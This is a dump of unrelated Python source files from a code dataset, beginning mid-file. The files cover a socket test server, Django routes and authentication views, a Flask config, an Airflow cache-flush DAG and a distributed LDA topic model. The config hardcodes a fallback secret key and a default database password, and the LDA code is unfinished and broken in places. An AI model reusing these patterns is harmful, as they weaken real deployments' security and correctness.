0\n MSGLEN = len(msg)\n while totalsent < MSGLEN:\n sent = conn.send(msg[totalsent:])\n if sent == 0:\n raise RuntimeError(\"socket connection broken\")\n totalsent = totalsent + sent\n # end while\n\n\ndef send(conn, i, start):\n x = i\n y = i + 1\n z = y + 1\n\n while True:\n by = pack(\"!h\", 6)\n mysend(conn, bytearray(by))\n x *= -2\n y *= -2\n z *= -2\n # if i > max 16 bit in size, reset to lower value\n if (z > (2**15 - 1) or z < -(2**15 - 1)): # 32767\n start = start + 1\n x = start\n y = x + 1\n z = y + 1\n # endif\n by = bytearray(pack(\"!h\", x))\n by.extend(bytearray(pack(\"!h\", y)))\n by.extend(bytearray(pack(\"!h\", z)))\n\n print(\"Sending:\", x, y, z, by)\n mysend(conn, by)\n\n time.sleep(0.5)\n # end while\n# end def\n\n\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n s.bind((HOST, PORT))\n print(\"Waiting for connection....\")\n s.listen(5)\n print(\"Enter # to disconnect.\")\n conn, addr = s.accept()\n with conn:\n print('Connection established at ip:{}, port:{}'.format(addr[0], PORT))\n print(\"--\" * 5)\n i = 1\n start = 1\n try:\n send(conn, i, start)\n except Exception as e:\n exc_type, exc_value, exc_traceback = sys.exc_info()\n print('***Exception while running: ' + str(e))\n print('type: ' + str(exc_type))\n print('Traceback: ')\n traceback.print_tb(exc_traceback)\n print(\"Connection closed.\")\n # end try\n\n# Closes idle window the application is open in. Comment out to not close the window\n# p = Popen(\"stop.bat\", cwd=os.getcwd())\n","sub_path":"Testing/sockets/python_send/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"489806693","text":"from django.contrib import admin\nfrom django.urls import path, include\nfrom . import views\n\nurlpatterns = [ \n path('PayList/', views.PayList.as_view(), name='PayList'),\n path('PeriodList/new/', views.periodView.as_view(), name='Period'),\n path('PeriodList/', views.PeriodList.as_view(), name='PeriodList'),\n path('serviceProviderList/', views.serviceProviderList.as_view(), name='serviceProviderList'),\n path('home/', views.home.as_view(), name='HomePage'),\n path('', views.home.as_view(), name='HomePage'),\n]","sub_path":"communal/historyPay/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"444568744","text":"import os\n\nAPP_DIR = os.path.dirname(__file__)\n\nDEFAULT_SECRET_KEY = \"Uphooh4CheiQuoosez8Shieb9aesu1taeHa6cheiThuud2taijoh0kei2ush2sie\"\n\nDB_HOST = os.environ.get(\"DB_HOST\", \"localhost\")\nDB_PORT = os.environ.get(\"DB_PORT\", \"5432\")\nDB_USER = os.environ.get(\"DB_USER\", \"oidc\")\nDB_PASSWORD = os.environ.get(\"DB_PASSWORD\", \"secret11!\")\nDB_DATABASE = os.environ.get(\"DB_DATABASE\", \"oidc\")\nDB_ENGINE = os.environ.get(\"DB_ENGINE\", \"postgres\")\nDB_SCHEME = \"postgres+psycopg2\"\n\nif DB_ENGINE == \"mysql\":\n DB_SCHEME = \"mysql+mysqlconnector\"\n\nSQLALCHEMY_DATABASE_URI = (\n f\"{DB_SCHEME}://\"\n f\"{DB_USER}:{DB_PASSWORD}@\"\n f\"{DB_HOST}:{DB_PORT}/\"\n f\"{DB_DATABASE}\"\n)\n\n\nclass Config:\n SECRET_KEY = os.environ.get(\"SECRET_KEY\") or DEFAULT_SECRET_KEY\n\n SQLALCHEMY_DATABASE_URI = SQLALCHEMY_DATABASE_URI\n SQLALCHEMY_TRACK_MODIFICATIONS = False\n OAUTH2_REFRESH_TOKEN_GENERATOR = True\n MOCK_USER_SERVICE = bool(os.environ.get('MOCK_USER_SERVICE'))\n\n USER_API_URL = \"\"\n\n @staticmethod\n def init_app(app):\n pass\n\n\nclass DevelopmentConfig(Config):\n DEBUG = True\n\n\nclass TestingConfig(Config):\n TESTING = True\n\n\nclass ProductionConfig(Config):\n @classmethod\n def init_app(cls, app):\n Config.init_app(app)\n\n\nclass DockerConfig(ProductionConfig):\n @classmethod\n def init_app(cls, app):\n ProductionConfig.init_app(app)\n\n # log to stderr\n import logging\n from logging import StreamHandler\n\n file_handler = StreamHandler()\n file_handler.setLevel(logging.INFO)\n app.logger.addHandler(file_handler)\n\n\nclass UnixConfig(ProductionConfig):\n @classmethod\n def init_app(cls, app):\n ProductionConfig.init_app(app)\n\n # log to syslog\n import logging\n from logging.handlers import SysLogHandler\n\n syslog_handler = SysLogHandler()\n syslog_handler.setLevel(logging.INFO)\n app.logger.addHandler(syslog_handler)\n\n\nconfig = {\n \"development\": DevelopmentConfig,\n \"testing\": TestingConfig,\n \"production\": ProductionConfig,\n \"docker\": DockerConfig,\n \"unix\": UnixConfig,\n \"default\": DevelopmentConfig,\n}\n","sub_path":"auth_service/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":2146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"427917784","text":"import os\n\nfrom django.conf import settings\nfrom django.contrib import auth\nfrom django.contrib.auth import get_user_model\nfrom django.shortcuts import redirect\n\nfrom base_app import http_statuses as http\nfrom base_app.decorators import require_post, json\nfrom base_app.tools import page_to_redirect\nfrom google_api import ChannelInfo, google_config_to_js\nfrom google_api import ChannelNotFoundError\nfrom google_api import GoogleAccessError\nfrom google_api import YoutubeAPIError\nfrom google_api import YoutubeImageError\nfrom google_api import youtube_required_info\nfrom . import forms\nfrom . import messages as mess\nfrom . import tasks\nfrom .backends import GoogleEmailExistsError\nfrom .decorators import login_required\n\nUser = get_user_model()\nUsers = User.objects\nDEFAULT_AVATAR = os.path.join(settings.BASE_DIR, 'icemad', 'files',\n 'default_man.jpeg')\n\n\n@json\n@require_post\n# tested\ndef sign_in(request):\n \"\"\"\n Try sign in user, when form is submitted.\n\n Args:\n request: HttpRequest object\n with params:\n - email: username field in authentication.\n - password: account raw password.\n Returns:\n - 200 User is exists.\n {\n 'page_to_redirect': \"url\",\n }\n - 403 User doesn't exist.\n {\n 'message': \"error message\",\n }\n \"\"\"\n form = forms.SignInForm(request.POST)\n if form.is_valid():\n user = form.cleaned_data['user']\n auth.login(request, user)\n data = {\n 'page_to_redirect': page_to_redirect(request),\n }\n return data, http.OK\n data = {\n 'message': form.errors_dict['non_field_error'],\n }\n return data, http.UNAUTHORIZED\n\n\n@json\n@require_post\ndef google_login(request):\n \"\"\"\n This view takes google credentials from code, that obtained from google.\n Tries login user with google account.\n If youtube id exists - sign in.\n If youtube id doesn't exist and email too - sign up.\n If youtube id doesn't exist, but email exists - users conflicts.\n\n Args:\n request: HttpRequest object\n with params:\n - code: Google oauth2 code.\n - js_config: Marks what is the request to get config.\n Returns:\n - 200 Request is successful.\n If js needs google config:\n {\n 'client_id': \"...\",\n 'scopes': \"...\",\n }\n Else:\n {\n 'page_to_redirect': \"url\",\n }\n - 400 Not code or oauth2 access error.\n {\n 'message': \"error message\",\n 'status_text': 'error',\n }\n - 404 Youtube account with this id not found.\n {\n 'message': \"error message\",\n 'status_text': 'error',\n }\n - 409 Youtube id not matched, but google email exists.\n {\n 'message': \"error message\",\n 'status_text': 'error',\n }\n - 422 Youtube image is corrupted.\n {\n 'message': \"error message\",\n 'status_text': 'error',\n }\n - 503 Youtube api unexpected error.\n {\n 'message': \"error message\",\n 'status_text': 'error',\n }\n \"\"\"\n code = request.POST.get('code')\n is_config_request = request.POST.get('js_config')\n if not code and is_config_request:\n # if there is no request parameters, then js needs client id and scopes\n return google_config_to_js(), http.OK\n if not code:\n data = {\n 'message': mess.GOOGLE_ACCESS_ERROR,\n 'status_text': mess.ERROR,\n }\n return data, http.BAD_REQUEST\n try:\n youtube_id, email = youtube_required_info(code)\n except ChannelNotFoundError:\n data = {\n 'message': mess.CHANNEL_NOT_FOUND,\n 'status_text': mess.ERROR,\n }\n return data, http.NOT_FOUND\n except GoogleAccessError as access_error:\n # todo: logging,\n print(access_error)\n data = {\n 'message': mess.GOOGLE_ACCESS_ERROR,\n 'status_text': mess.ERROR,\n }\n return data, http.BAD_REQUEST\n try:\n user = auth.authenticate(youtube_id=youtube_id, google_email=email)\n except GoogleEmailExistsError:\n # if youtube_id not matched, but google email exists in db\n data = {\n 'message': mess.GOOGLE_EMAIL_TAKEN,\n 'status_text': mess.ERROR,\n }\n return data, http.CONFLICT\n if user is None:\n user = User(email=email, youtube_id=youtube_id)\n channel = ChannelInfo(youtube_id)\n try:\n name = channel.title()\n about_me = channel.description()\n img_name, img_content = channel.avatar()\n except (YoutubeAPIError, YoutubeImageError) as api_error:\n # todo: logging\n print(api_error)\n data = {\n 'message': mess.YOUTUBE_API_ERROR,\n 'status_text': mess.ERROR,\n }\n return data, http.UNAVAILABLE\n except ChannelNotFoundError:\n data = {\n 'message': mess.CHANNEL_NOT_FOUND,\n 'status_text': mess.ERROR,\n }\n return data, http.NOT_FOUND\n user.name = name\n user.about_me = about_me\n user.set_avatar(img_name, img_content)\n user.save()\n user = auth.authenticate(youtube_id=youtube_id, google_email=email)\n auth.login(request, user)\n data = {\n 'page_to_redirect': page_to_redirect(request),\n }\n return data, http.OK\n\n\n@json\n@login_required\n@require_post\ndef google_connect(request):\n \"\"\"\n This view takes google credentials from code, that obtained from google.\n Tries to connect google account to user account.\n If youtube id is free, success.\n Else it means, that this youtube account already taken by another user.\n\n Args:\n request: HttpRequest object\n with params:\n - code: google oauth2 code.\n - js_config: Marks what is the request to get config.\n Returns:\n - 200 Request is successful.\n If js needs google config:\n {\n 'client_id': \"...\",\n 'scopes': \"...\",\n }\n Else:\n {\n 'page_to_redirect': \"url\",\n }\n - 400 Not code or oauth2 api error.\n {\n 'message': \"error message\",\n 'status_text': 'error',\n }\n - 404 Youtube account with this id not found.\n {\n 'message': \"error message\",\n 'status_text': 'error',\n }\n - 409 Youtube account already exists. Info message.\n {\n 'message': \"error message\",\n 'status_text': 'error',\n }\n \"\"\"\n code = request.POST.get('code')\n is_config_request = request.POST.get('js_config')\n if not code and is_config_request:\n return google_config_to_js(), http.OK\n if not code:\n data = {\n 'message': mess.GOOGLE_ACCESS_ERROR,\n 'status_text': mess.ERROR,\n }\n return data, http.BAD_REQUEST\n try:\n youtube_id, _ = youtube_required_info(code)\n except ChannelNotFoundError:\n data = {\n 'message': mess.CHANNEL_NOT_FOUND,\n 'status_text': mess.ERROR,\n }\n return data, http.NOT_FOUND\n except GoogleAccessError as api_error:\n # todo: logging,\n print(api_error)\n data = {\n 'message': mess.GOOGLE_ACCESS_ERROR,\n 'status_text': mess.ERROR,\n }\n return data, http.BAD_REQUEST\n if Users.filter(youtube_id=youtube_id).exists():\n data = {\n 'message': mess.GOOGLE_ACCOUNT_TAKEN,\n 'status_text': mess.ERROR,\n }\n return data, http.CONFLICT\n user = request.user\n user.youtube_connect(youtube_id)\n user.save(update_fields=['youtube_id'])\n data = {\n 'page_to_redirect': page_to_redirect(request),\n }\n return data, http.OK\n\n\n@json\n@require_post\n# tested\ndef password_reset_send_email(request):\n \"\"\"\n This view checks, that email is correct and exists in our system.\n If User is authenticated then a mail is sent to the user.email address.\n If email is correct, it sends mail with link to reset the user password.\n Else returns error message.\n\n Args:\n request: HttpRequest object\n with params:\n - email: mail which will be sent an email to reset\n the user password.\n Returns:\n - 200 Email is correct:\n {\n 'message': \"success message\",\n 'status_text': 'success',\n }\n - 404 Email does not exist:\n {\n 'email': \"error\",\n }\n \"\"\"\n user = request.user\n if not user.is_authenticated():\n form = forms.SendEmailForm(request.POST)\n if not form.is_valid():\n return form.errors_dict, http.NOT_FOUND\n email = form.cleaned_data['email']\n try:\n user = Users.get(email=email)\n except User.DoesNotExist:\n form.add_error('email', mess.EMAIL_NOT_EXISTS)\n return form.errors_dict, http.NOT_FOUND\n tasks.send_reset_email.delay(user.id)\n\n data = {\n 'message': mess.PASSWORD_RESET_SEND_SUCCESS % user.email,\n 'status_text': mess.SUCCESS,\n }\n return data, http.OK\n\n\n@json\n@require_post\n# tested\ndef sign_up_name_verify(request):\n \"\"\"\n Checks length of name field during user registration.\n\n Args:\n request: HttpRequest object\n with params:\n - name: User name.\n Returns:\n - 200 Error of field or nothing.\n {\n 'name': \"error\", (if name field has error)\n }\n\n \"\"\"\n form = forms.SignUpNameForm(request.POST)\n data = form.errors_dict\n return data, http.OK\n\n\n@json\n@require_post\n# tested\ndef sign_up_email_verify(request):\n \"\"\"\n Validates email form field during user registration.\n And checks whether the email is free.\n\n Args:\n request: HttpRequest object\n with params:\n - email: Unique email address.\n Returns:\n - 200 Error of field or nothing.\n {\n 'email': \"error\", (if email field has error)\n }\n \"\"\"\n form = forms.SignUpEmailForm(request.POST)\n data = form.errors_dict\n return data, http.OK\n\n\n@json\n@require_post\n# tested\ndef sign_up_password_verify(request):\n \"\"\"\n Checks password restrictions during user registration.\n Score of password are calculated in the following way:\n If password length < min_length, then score are proportional\n to the length of password and can not be more than 25.0.\n If password length >= min_length, then score more than 25.0 and\n score is sum of 25.0 and password strength,\n relative to the max strength (100.0).\n Therefore, if score < 25.0, then password do not meet the restrictions.\n\n Args:\n request: HttpRequest object\n with params:\n - password: User.password field. It is raw string.\n Returns:\n - 200 Error of field or nothing.\n {\n 'password': \"error\", (if password field has error)\n 'password_scores': 0.0 - 100.0\n }\n \"\"\"\n form = forms.SignUpPasswordForm(request.POST)\n data = form.errors_dict\n data['password_scores'] = form.password_score()\n return data, http.OK\n\n\n@json\n@require_post\n# tested\ndef sign_up(request):\n \"\"\"\n Try sign up user, when form is submitted.\n\n Args:\n request: HttpRequest object\n with params:\n - name: models.User.name field. User name\n - email: models.User.email field, unique email address.\n - password: models.User.password field. It is raw string.\n Returns:\n - 200 User is created successfully.\n {\n 'page_to_redirect': \"url\"\n }\n - 409 Form is invalid or email already exists.\n {\n 'email': \"error\",\n 'name': \"error\",\n 'password': \"error\",\n }\n \"\"\"\n form = forms.SignUpForm(request.POST)\n if form.is_valid():\n user = form.save(commit=False)\n with open(DEFAULT_AVATAR, 'rb') as f:\n name = os.path.basename(f.name)\n user.set_avatar(name, f.read())\n user.save()\n email = form.cleaned_data['email']\n password = form.cleaned_data['password']\n user = auth.authenticate(username=email, password=password)\n auth.login(request, user)\n data = {\n 'page_to_redirect': page_to_redirect(request),\n }\n return data, http.OK\n data = form.errors_dict\n return data, http.CONFLICT\n\n\n@login_required\n@require_post\ndef sign_out(request):\n \"\"\"\n This view handles POST and NOT AJAX request to sign out the user.\n\n Args:\n request: HttpRequest object empty with params.\n Returns:\n - 302 request is success. Redirect to root page.\n \"\"\"\n auth.logout(request)\n return redirect('root')\n","sub_path":"authentication/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":13660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"202584427","text":"from datetime import datetime, timedelta\n\nfrom airflow.models import DAG, Variable\nfrom airflow.operators.email_operator import EmailOperator\nfrom airflow.operators.python import PythonOperator\nfrom airflow.utils.dates import days_ago\nfrom dag_datalake_sirene.task_functions.flush_cache import flush_cache\nfrom dag_datalake_sirene.task_functions.execute_slow_elastic_queries import (\n execute_slow_requests,\n)\n\nDAG_NAME = \"flush-cache-and-execute-queries\"\nEMAIL_LIST = Variable.get(\"EMAIL_LIST\")\nENV = Variable.get(\"ENV\")\nREDIS_HOST = \"redis\"\nREDIS_PORT = \"6379\"\nREDIS_DB = \"0\"\nREDIS_PASSWORD = Variable.get(\"REDIS_PASSWORD\")\n\n\ndefault_args = {\n \"depends_on_past\": False,\n \"email\": EMAIL_LIST,\n \"email_on_failure\": True,\n \"email_on_retry\": True,\n}\n\nwith DAG(\n dag_id=DAG_NAME,\n default_args=default_args,\n schedule_interval=\"0 23 10 * *\",\n start_date=days_ago(10),\n dagrun_timeout=timedelta(minutes=60 * 8),\n tags=[\"flush cache and execute queries\"],\n) as dag:\n flush_cache = PythonOperator(\n task_id=\"flush_cache\",\n provide_context=True,\n python_callable=flush_cache,\n op_args=(\n REDIS_HOST,\n REDIS_PORT,\n REDIS_DB,\n REDIS_PASSWORD,\n ),\n )\n\n execute_slow_requests = PythonOperator(\n task_id=\"execute_slow_requests\",\n provide_context=True,\n python_callable=execute_slow_requests,\n )\n\n success_email_body = f\"\"\"\n Hi,

    \n Flush cache ***{ENV}*** DAG has been executed successfully at {datetime.now()}.\n \"\"\"\n\n send_email = EmailOperator(\n task_id=\"send_email\",\n to=EMAIL_LIST,\n subject=f\"Airflow Success: DAG-{ENV}!\",\n html_content=success_email_body,\n dag=dag,\n )\n\n execute_slow_requests.set_upstream(flush_cache)\n send_email.set_upstream(execute_slow_requests)\n","sub_path":"DAG-flush-and-execute-queries.py","file_name":"DAG-flush-and-execute-queries.py","file_ext":"py","file_size_in_byte":1870,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"442783890","text":"from LDAcond_c_methods import LDA_pass\nfrom coordinator import Coordinator\nfrom datetime import datetime\nimport pandas as pd\nimport numpy as np\nimport sys\nimport os\n\n##############################################################################\n# Control/main functions #\n##############################################################################\n\ndef dLDAcond(DTM_dir, out_dir, K, niters=500, alpha=1., beta=1., **kwds):\n \"\"\"fits a distributed instance of latent dirichlet allocation (LDA)\n\n Parameters\n ----------\n DTM_dir : str\n location where document term matrix is located, should be formatted\n according to DiSTL DTM format\n out_dir : str\n location where topic model will be written\n K : scalar\n number of topics to estimate\n niters : scalar\n number of iterations for Gibbs samplers\n alpha : scalar\n prior for theta\n beta : scalar\n prior for beta\n kwds : dict\n additional key-words to provide for backend coordinator\n\n Notes\n -----\n This introduces some supervision in the form of sentiment\n \"\"\"\n\n\n # init coordinator\n coord = Coordinator(**kwds)\n\n # load DTM metadata/info\n # TODO add sentprob init\n D, V, count_fl = prep_DTM_info(DTM_dir)\n\n # init model\n mod_l = coord.map(init_model, count_fl, K=K, V=V,\n alpha=alpha, beta=beta)\n\n # create initial nw/nwsum\n nw = np.zeros((K, V), dtype=np.intc)\n nwsum = np.zeros(K, dtype=np.intc)\n nw_l = coord.map(extract_nw, mod_l, gather=True)\n nw, nwsum = aggregate_nw(nw_l, nw, nwsum)\n\n # build global denominator for sentprob estimates\n sentprob_den_l = coord.map(calc_sentprob_den, mod_l, gather=True)\n sentprob_den = np.sum(sentprob_den_l, axis=1)\n\n # scatter global nw/nwsum\n nw_f = coord.scatter(nw, broadcast=True)\n nwsum_f = coord.scatter(nwsum, broadcast=True)\n\n # readd global nw/nwsum to model nodes\n mod_l = coord.map(readd_nw, mod_l, nw=nw_f, nwsum=nwsum_f)\n\n # fit iterations\n for s in range(niters):\n\n # estimate model state for current iteration\n mod_l = coord.map(est_LDA_pass, mod_l, pure=False, log=True,\n func_logger=est_LDA_logger)\n\n # update global nw/nwsum\n nw_l = coord.map(extract_nw, mod_l, gather=True)\n nw, nwsum = aggregate_nw(nw_l, nw, nwsum)\n\n # scatter global nw/nwsum\n nw_f = coord.scatter(nw, broadcast=True)\n nwsum_f = coord.scatter(nwsum, broadcast=True)\n\n # readd global nw/nwsum to model nodes\n mod_l = coord.map(readd_nw, mod_l, nw=nw_f, nwsum=nwsum_f)\n\n # update global sentiment globabilities\n sentprob_num_l = coord.map(calc_sentprob_num, mod_l, gather=True)\n sentprob = est_sentprob(sentprob_num_l, sentprob_den)\n\n # scatter sentiment probs (O)\n sentprob_f = coord.scatter(sentprob, broadcast=True)\n\n # readd global sentprob to model nodes\n mod_l = coord.map(readd_sentprob, mod_l, sentprob=sentprob_f)\n\n # add theta estimates to mod state and write node output\n mod_l = coord.map(calc_post_theta, mod_l)\n coord.map(write_mod_csv, mod_l, out_dir=out_dir, gather=True)\n\n # add phi and write global output\n phi = calc_post_phi(nw, nwsum, beta)\n write_global_csv(nw, nwsum, phi, sentprob, out_dir)\n\n\n##############################################################################\n# State/IO/gen functions #\n##############################################################################\n\ndef prep_DTM_info(DTM_dir):\n \"\"\"extracts the DTM dimensions (D, V) as well as a list of count files\n\n Parameters\n ----------\n DTM_dir : str\n location of DTM files\n\n Returns\n -------\n D : scalar\n number of documents\n V : scalar\n number of terms\n count_fl : list\n list of files corresponding to counts (one for each node)\n \"\"\"\n\n # TODO add sent probabilities\n\n # get dimensions\n D_l = [len(open(os.path.join(DTM_dir, d), \"r\").readlines())\n for d in os.listdir(DTM_dir) if d[:3] == \"doc\"]\n D = sum(D_l) - len(D_l)\n V_l = [len(open(os.path.join(DTM_dir, v), \"r\").readlines())\n for v in os.listdir(DTM_dir) if v[:4] == \"term\"]\n V = sum(V_l) - len(V_l)\n\n # count files\n count_fl = [os.path.join(DTM_dir, f) for f in os.listdir(DTM_dir)\n if f[:5] == \"count\"]\n\n return D, V, count_fl\n\n\ndef init_model(DTM_shard_fname, K, V, alpha, beta):\n \"\"\"loads a count chunk onto a specified client node\n\n Parameters\n ----------\n DTM_shard_fname : str\n file-name for corresponding DTM count file\n K : scalar\n global topic count\n V : scalar\n global term count\n alpha : scalar\n prior to theta (topic loadings)\n beta : scalar\n prior for phi (topic components)\n\n Returns\n -------\n mod : dict\n populated dictionary with model state for the corresponding node\n\n Notes\n -----\n The model dict consists of the following values to start:\n\n count : numpy array (NZ x 3)\n triplet representation for term counts for current node\n z : numpy array (NZ x 1)\n topic assignments for each term\n nd : numpy array (D x K)\n weighted (by term count) topic assigments for each document\n ndsum : numpy array (D x 1)\n term counts in document d\n nw : numpy array (K x V)\n weighted (by term count) topic assigments for each term\n nwsum : numpy array (K x 1)\n total term counts assigned to topic K\n z_trace : numpy array (0:niters)\n contains the diff for z at each iteration\n NZ : scalar\n number of non-zero elements in counts\n D : scalar\n number of documents\n V : scalar\n number of terms\n K : scalar\n number of topics\n alpha : scalar\n prior for theta\n beta : scalar\n prior for phi\n label : str\n label for current node\n \"\"\"\n\n # TODO add sent probabilities\n\n # prep model dict\n mod = {}\n\n # set global values\n mod[\"K\"] = K\n mod[\"V\"] = V\n mod[\"alpha\"] = alpha\n mod[\"beta\"] = beta\n\n # extract label\n label = os.path.basename(DTM_shard_fname)\n mod[\"label\"] = label.replace(\".csv\", \"\").replace(\"count_\", \"\")\n\n # prep count\n count = pd.read_csv(DTM_shard_fname).values\n doc_id = count[:,0]\n doc_id -= doc_id.min()\n count[:,0] = doc_id\n count = np.array(count, dtype=np.intc)\n mod[\"count\"] = count\n\n # prep node-specific dimensions\n D = np.max(doc_id) + 1\n NZ = count.shape[0]\n mod[\"D\"] = D\n mod[\"NZ\"] = NZ\n\n # init z\n z = np.random.randint(0, high=K, size=NZ, dtype=np.intc)\n mod[\"z\"] = z\n\n # prep z_trace (will get built up during iterations)\n mod[\"z_trace\"] = np.array([])\n\n # TODO the data-frame approach here is somewhat hacky\n # (can't we just do a similar groupby in numpy?)\n\n # generate nd/ndsum\n dzdf = pd.DataFrame({\"d\": count[:,0], \"z\": z, \"count\": count[:,2]})\n dzarr = dzdf.groupby([\"d\", \"z\"], as_index=False).sum().values\n nd = np.zeros(shape=(D, K))\n nd[dzarr[:,0], dzarr[:,1]] = dzarr[:,2]\n ndsum = nd.sum(axis=1)\n mod[\"nd\"] = np.array(nd, dtype=np.intc)\n mod[\"ndsum\"] = np.array(ndsum, dtype=np.intc)\n\n # generate nw/nwsum\n vzdf = pd.DataFrame({\"v\": count[:,1], \"z\": z, \"count\": count[:,2]})\n vzarr = vzdf.groupby([\"z\", \"v\"], as_index=False).sum().values\n nw = np.zeros(shape=(K, V))\n nw[vzarr[:,0], vzarr[:,1]] = vzarr[:,2]\n nwsum = nw.sum(axis=1)\n mod[\"nw\"] = np.array(nw, dtype=np.intc)\n mod[\"nwsum\"] = np.array(nwsum, dtype=np.intc)\n\n return mod\n\n\ndef write_mod_csv(mod, out_dir):\n \"\"\"writes all the model estimates to the specified out_dir\n\n Parameters\n ----------\n mod : dict\n model state for current node\n out_dir : str\n location where output will be written\n \"\"\"\n\n var_l = [\"z\", \"nd\", \"ndsum\", \"theta\", \"z_trace\"]\n for var in var_l:\n np.savetxt(os.path.join(out_dir, \"%s_%s.csv\" % (var, mod[\"label\"])),\n mod[var], delimiter=\",\")\n\n\ndef write_global_csv(nw, nwsum, phi, sentprob, out_dir):\n \"\"\"writes the global estimates to the specified out_dir\n\n Parameters\n ----------\n nw : numpy array\n global values for nw\n nwsum : numpy array\n global values for nwsum\n phi : numpy array\n global values for phi\n sentprob : numpy array\n global values for sentiment probability\n out_dir : str\n location where output will be written\n \"\"\"\n\n np.savetxt(os.path.join(out_dir, \"nw.csv\"), nw, delimiter=\",\")\n np.savetxt(os.path.join(out_dir, \"nwsum.csv\"), nwsum, delimiter=\",\")\n np.savetxt(os.path.join(out_dir, \"phi.csv\"), phi, delimiter=\",\")\n np.savetxt(os.path.join(out_dir, \"sentprob.csv\"), sentprob, delimiter=\",\")\n\n\n##############################################################################\n# Pure/calc functions #\n##############################################################################\n\ndef est_LDA_pass(mod):\n \"\"\"wrapper around the cython LDA_pass code to manage mod dict\n\n Parameters\n ----------\n mod : dict\n dictionary corresponding to model state for node\n\n Returns\n -------\n mod : dict\n updated dictionary corresponding to new model state for node\n\n Notes\n -----\n The cython code in LDA_pass updates the model values in-place, this\n is the reason we don't need to return anything from LDA_pass\n \"\"\"\n\n z_prev = mod[\"z\"].copy()\n\n LDA_pass(**mod)\n\n mod[\"z_trace\"] = np.append(mod[\"z_trace\"], np.sum(mod[\"z\"] != z_prev))\n\n return mod\n\n\ndef est_LDA_logger(mod):\n \"\"\"produces a message based on current mod state for logging\"\"\"\n\n lab = mod[\"label\"]\n zt = mod[\"z_trace\"]\n msg = \"label: {0} iter: {1} trace: {2}\".format(lab, len(zt) - 1, zt[-1])\n return msg\n\n\ndef calc_post_theta(mod):\n \"\"\"calculates the posterior estimates for theta for current node\n\n Parameters\n ----------\n mod : dict\n dictionary containing current model state without posterior estimates\n\n Returns\n -------\n mod : dict\n containing additional posterior estimates for theta\n\n Notes\n -----\n This adds the following elements to the model dict:\n\n theta : numpy array (D x K)\n current estimates for document-topic proportions\n \"\"\"\n\n mod[\"theta\"] = ((np.array(mod[\"nd\"]).T + mod[\"alpha\"]) /\n (np.array(mod[\"ndsum\"]) + mod[\"K\"] * mod[\"alpha\"])).T\n\n return mod\n\n\ndef calc_post_phi(nw, nwsum, beta):\n \"\"\"calculates the posterior estimate for phi\n\n Parameters\n ----------\n nw : numpy array\n current global nw matrix\n nwsum : numpy array\n current global nwsum vector\n beta : scalar\n prior for phi\n\n Returns\n -------\n phi : numpy array\n global estimates for topic-term proportions\n \"\"\"\n\n K, V = nw.shape\n\n phi = ((nw.T + beta) / (nwsum + V * beta)).T\n\n return phi\n\n\ndef extract_nw(mod):\n \"\"\"extracts tuple of node specific nw/nwsum\"\"\"\n\n return mod[\"nw\"], mod[\"nwsum\"]\n\n\ndef readd_nw(mod, nw, nwsum):\n \"\"\"updates the provided model state to reflect global nw/nwsum\"\"\"\n\n mod[\"nw\"] = np.array(nw, dtype=np.intc)\n mod[\"nwsum\"] = np.array(nwsum, dtype=np.intc)\n\n return mod\n\n\ndef aggregate_nw(nw_l, nw, nwsum):\n \"\"\"combines list of node specific nw/nwum estimates into global estimates\n\n Parameters\n ----------\n nw_l : list\n list of tuples containing node specific nw/nwsum\n nw : numpy array\n current global nw\n nwsum : numpy array\n current global nwsum\n\n Returns\n -------\n tuple\n updated nw/nwsum\n \"\"\"\n\n n_nw, n_nwsum = zip(*nw_l)\n n_nw = np.sum(n_nw, axis=0, dtype=np.intc)\n n_nwsum = np.sum(n_nwsum, axis=0, dtype=np.intc)\n part = len(nw_l)\n\n nw = (1 - part) * nw + n_nw\n nwsum = (1 - part) * nwsum + n_nwsum\n\n return nw, nwsum\n\n\ndef calc_sentprob_den(mod_l):\n\n # TODO\n\n return None\n\n\ndef calc_sentprob_num(mod):\n \"\"\"calculates the sentiment probability numerator for each partition\"\"\"\n\n sentprob_num = mod[\"theta\"].T.dot(mod[\"retp\"])\n return sentprob_num\n\n\ndef readd_sentprob(mod, sentprob):\n \"\"\"updates the provided model state to reflect global sentprob\"\"\"\n\n mod[\"sentprob\"] = sentprob\n\n return mod\n\n\ndef est_sentprob(sentprob_num_l, sentprob_den):\n \"\"\"estimates the global sentiment probability\"\"\"\n\n # TODO\n\n sentprob_num = np.sum(sentprob_num_l, axis=1)\n sentprob = sentprob_num.dot(sentprob_den)\n\n # handle zeros\n sentprob[sentprob < 0] = 0\n\n # renormalize\n\n return sentprob\n","sub_path":"DiSTL/models/dLDAcond.py","file_name":"dLDAcond.py","file_ext":"py","file_size_in_byte":12780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"432839803","text":"'''\r\nCreated on Nov 11, 2015\r\n\r\n@author: Norbi\r\n'''\r\nfrom copy import deepcopy\r\nfrom Domain.domstud import *\r\nfrom Domain.domassign import *\r\nfrom Domain.domstudassign import *\r\nfrom Domain.Validity import *\r\nfrom Ctrl.ChangeHistory import *\r\nfrom Ctrl.UndoController import *\r\nfrom Domain.GradDTO import *\r\nfrom Sorts.Heapsort import heapsort\r\nclass StudAssignCtrl :\r\n \r\n def __init__(self,repoSA,repoS,repoA,undoCtrl):\r\n '''\r\n constructor for controller\r\n repoSA-repository for associations StudAssign\r\n repoS-repository for students\r\n repoA-repository for assginments\r\n\r\n '''\r\n self.__repoSA=repoSA\r\n self.__repoS=repoS\r\n self.__repoA=repoA\r\n self.__undoCtrl=undoCtrl\r\n\r\n self.__operations=[]\r\n self.__index=0\r\n\r\n \r\n def associate(self,studId,assignId,d,grade):\r\n '''\r\n adds an association to the repository of associations\r\n Args:\r\n studId:int-the id of the student which will be associated\r\n assignId:int-the id of the assignment with which the student will be associated\r\n 